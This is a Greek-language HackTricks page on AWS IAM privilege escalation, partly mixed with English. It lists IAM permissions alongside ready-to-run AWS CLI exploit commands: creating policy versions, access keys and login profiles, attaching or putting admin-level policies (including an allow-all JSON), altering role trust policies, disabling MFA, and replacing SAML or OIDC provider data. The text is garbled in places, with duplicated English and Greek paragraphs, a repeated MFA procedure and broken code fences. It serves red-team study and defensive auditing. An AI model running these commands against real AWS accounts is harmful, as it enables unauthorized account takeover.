AWS - IAM Privesc

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

IAM

Για περισσότερες πληροφορίες σχετικά με το IAM, ελέγξτε:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Χορηγεί τη δυνατότητα δημιουργίας μιας νέας έκδοσης πολιτικής IAM, παρακάμπτοντας την ανάγκη για άδεια iam:SetDefaultPolicyVersion χρησιμοποιώντας τη σημαία --set-as-default. Αυτό επιτρέπει τον καθορισμό προσαρμοσμένων δικαιωμάτων.

Εκμετάλλευση Εντολής:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Επίδραση: Αυξάνει απευθείας τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιοδήποτε πόρο.

iam:SetDefaultPolicyVersion

Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε μια άλλη υπάρχουσα έκδοση, πιθανώς αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερες άδειες.

Εντολή Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Επίδραση: Έμμεση ανέλιξη προνομίων με την ενεργοποίηση περισσότερων δικαιωμάτων.

iam:CreateAccessKey

Επιτρέπει τη δημιουργία αναγνωριστικού κλειδιού πρόσβασης και μυστικού κλειδιού πρόσβασης για έναν άλλο χρήστη, οδηγώντας σε πιθανή ανέλιξη προνομίων.

Εκμετάλλευση:

aws iam create-access-key --user-name <target_user>

Επίδραση: Άμεση ανέλιξη προνομίων με την υπόθεση των εκτεταμένων δικαιωμάτων ενός άλλου χρήστη.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Επιτρέπει τη δημιουργία ή την ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών πρόσβασης για τη σύνδεση στον πίνακα ελέγχου του AWS, οδηγώντας σε άμεση ανέλιξη προνομίων.

Εκμετάλλευση για Δημιουργία:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Εκμετάλλευση για την Ενημέρωση:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Επίδραση: Άμεση ανέλιξη προνομίων με την είσοδο ως "οποιοσδήποτε" χρήστης.

iam:UpdateAccessKey

Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, με δυνητική πρόκληση μη εξουσιοδοτημένης πρόσβασης εάν ο επιτιθέμενος διαθέτει το απενεργοποιημένο κλειδί.

Εκμετάλλευση:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Επίδραση: Άμεση ανέλιξη προνομίων με την επανενεργοποίηση των κλειδιών πρόσβασης.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Επιτρέπει τη δημιουργία ή την επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες του AWS (π.χ. CodeCommit, Amazon Keyspaces), κληρονομώντας τα δικαιώματα του σχετιζόμενου χρήστη.

Εκμετάλλευση για τη Δημιουργία:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Εκμετάλλευση για την επαναφορά:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Επίδραση: Άμεση ανέλιξη προνομίων εντός των δικαιωμάτων υπηρεσίας του χρήστη.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Επιτρέπει την επισύναψη πολιτικών σε χρήστες ή ομάδες, ανεβάζοντας άμεσα τα προνόμια με την κληρονομικότητα των δικαιωμάτων της επισυναπτόμενης πολιτικής.

Εκμετάλλευση για τον Χρήστη:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Εκμετάλλευση για την Ομάδα:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Επίδραση: Άμεση ανέλιξη προνομίων σε οτιδήποτε παρέχει η πολιτική.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Επιτρέπει την επισύναψη ή την τοποθέτηση πολιτικών σε ρόλους, χρήστες ή ομάδες, επιτρέποντας άμεση ανέλιξη προνομίων με τη χορήγηση επιπλέον δικαιωμάτων.

Εκμετάλλευση για τον Ρόλο:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Εκμεταλλευτείτε για τις Ενσωματωμένες Πολιτικές:

An inline policy is a policy that is directly attached to an IAM user, group, or role. It is defined within the same JSON document as the user, group, or role.

Μια ενσωματωμένη πολιτική είναι μια πολιτική που είναι απευθείας συνδεδεμένη με έναν χρήστη, ομάδα ή ρόλο IAM. Ορίζεται εντός του ίδιου JSON εγγράφου με τον χρήστη, την ομάδα ή τον ρόλο.

Inline policies can be exploited by an attacker to escalate their privileges within an AWS environment. By modifying the JSON document of an IAM user, group, or role, an attacker can add or modify permissions to gain unauthorized access to resources or perform actions beyond their intended privileges.

Οι ενσωματωμένες πολιτικές μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να αυξήσει τα προνόμιά του εντός ενός περιβάλλοντος AWS. Με την τροποποίηση του JSON εγγράφου ενός χρήστη, μιας ομάδας ή ενός ρόλου IAM, ένας επιτιθέμενος μπορεί να προσθέσει ή να τροποποιήσει δικαιώματα για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε πόρους ή να εκτελέσει ενέργειες πέρα ​​από τα προνόμια που του επιτρέπονται.

To exploit an inline policy, an attacker needs to have the necessary permissions to modify the JSON document. This can be achieved by compromising an IAM user or role with the required permissions or by exploiting other vulnerabilities in the AWS environment.

Για να εκμεταλλευτεί έναν ενσωματωμένο κανονισμό, ένας επιτιθέμενος χρειάζεται να έχει τα απαραίτητα δικαιώματα για να τροποποιήσει το JSON έγγραφο. Αυτό μπορεί να επιτευχθεί με τον συμβιβασμό ενός χρήστη ή ρόλου IAM με τα απαιτούμενα δικαιώματα ή με την εκμετάλλευση άλλων ευπαθειών στο περιβάλλον AWS.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Επίδραση: Άμεση ανέλιξη προνομίων με την προσθήκη δικαιωμάτων μέσω πολιτικών.

iam:AddUserToGroup

Επιτρέπει την προσθήκη του εαυτού σας σε μια ομάδα IAM, ανεβάζοντας τα προνόμια με την κληρονομικότητα των δικαιωμάτων της ομάδας.

Εκμετάλλευση:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Επίδραση: Άμεση ανέλιξη προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.

iam:UpdateAssumeRolePolicy

Επιτρέπει την τροποποίηση του εγγράφου πολιτικής αναλαμβάνοντας ρόλο για έναν ρόλο, επιτρέποντας την ανάληψη του ρόλου και των συναφών δικαιωμάτων του.

Εκμετάλλευση:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Όταν η πολιτική φαίνεται όπως παρακάτω, η οποία δίνει στον χρήστη την άδεια να υποθέσει τον ρόλο:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Επίδραση: Άμεση ανόδος δικαιωμάτων με την υπόθεση των δικαιωμάτων οποιουδήποτε ρόλου.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Επιτρέπει το ανέβασμα ενός δημόσιου κλειδιού SSH για την αυθεντικοποίηση στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση ανόδο δικαιωμάτων.

Εκμετάλλευση για το ανέβασμα κλειδιού SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Εκμεταλλευτείτε για την απενεργοποίηση του MFA:

1. Identify an IAM user with the necessary permissions to modify MFA settings.
2. Obtain the access key and secret key for the identified IAM user.
3. Configure the AWS CLI with the obtained credentials.
4. Use the following command to disable MFA for the IAM user:

   ```bash
   aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>

Replace <IAM_USER_NAME> with the username of the IAM user and <MFA_SERIAL_NUMBER> with the serial number of the MFA device associated with the user. 5. Verify that MFA has been successfully disabled by attempting to log in without the MFA code.


**Οδηγίες για την εκμετάλλευση της απενεργοποίησης του MFA:**

```html
1. Αναγνωρίστε έναν χρήστη IAM με τα απαραίτητα δικαιώματα για την τροποποίηση των ρυθμίσεων του MFA.
2. Αποκτήστε το access key και το secret key για τον εντοπισμένο χρήστη IAM.
3. Διαμορφώστε το AWS CLI με τα ληφθέντα διαπιστευτήρια.
4. Χρησιμοποιήστε την παρακάτω εντολή για να απενεργοποιήσετε το MFA για τον χρήστη IAM:

   ```bash
   aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>

Αντικαταστήστε το <IAM_USER_NAME> με το όνομα χρήστη του χρήστη IAM και το <MFA_SERIAL_NUMBER> με τον αριθμό σειράς της συσκευής MFA που συσχετίζεται με τον χρήστη. 5. Επαληθεύστε ότι το MFA έχει απενεργοποιηθεί με επιτυχία δοκιμάζοντας να συνδεθείτε χωρίς τον κωδικό MFA.

```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Επίδραση: Έμμεση ανέλιξη προνομιακών δικαιωμάτων μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης προστασίας MFA.

iam:ResyncMFADevice

Επιτρέπει την επανασυγχρονισμό ενός συσκευής MFA, με δυνατότητα έμμεσης ανέλιξης προνομιακών δικαιωμάτων μέσω της παραπλάνησης της προστασίας MFA.

Εντολή Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Επίδραση: Έμμεση ανέλιξη προνομιακών δικαιωμάτων με την προσθήκη ή την τροποποίηση συσκευών MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Με αυτές τις άδειες μπορείτε να αλλάξετε τα μεταδεδομένα XML της σύνδεσης SAML. Έπειτα, μπορείτε να καταχραστείτε τη συνομοσπονδία SAML για να συνδεθείτε με οποιονδήποτε ρόλο εμπιστεύεται αυτήν.

Σημειώστε ότι κατά την εκτέλεση αυτής της ενέργειας, οι νόμιμοι χρήστες δεν θα μπορούν να συνδεθούν. Ωστόσο, μπορείτε να λάβετε το XML, έτσι ώστε να μπορείτε να το αντικαταστήσετε με το δικό σας, να συνδεθείτε και να επαναφέρετε τις προηγούμενες ρυθμίσεις.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

ΕΡΓΑΛΕΙΟ: Ένα εργαλείο που μπορεί να δημιουργήσει τα μεταδεδομένα SAML και να συνδεθεί με έναν καθορισμένο ρόλο

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Αβέβαιος για αυτό) Αν ένας επιτιθέμενος έχει αυτές τις άδειες, μπορεί να προσθέσει ένα νέο Thumbprint για να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον πάροχο.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated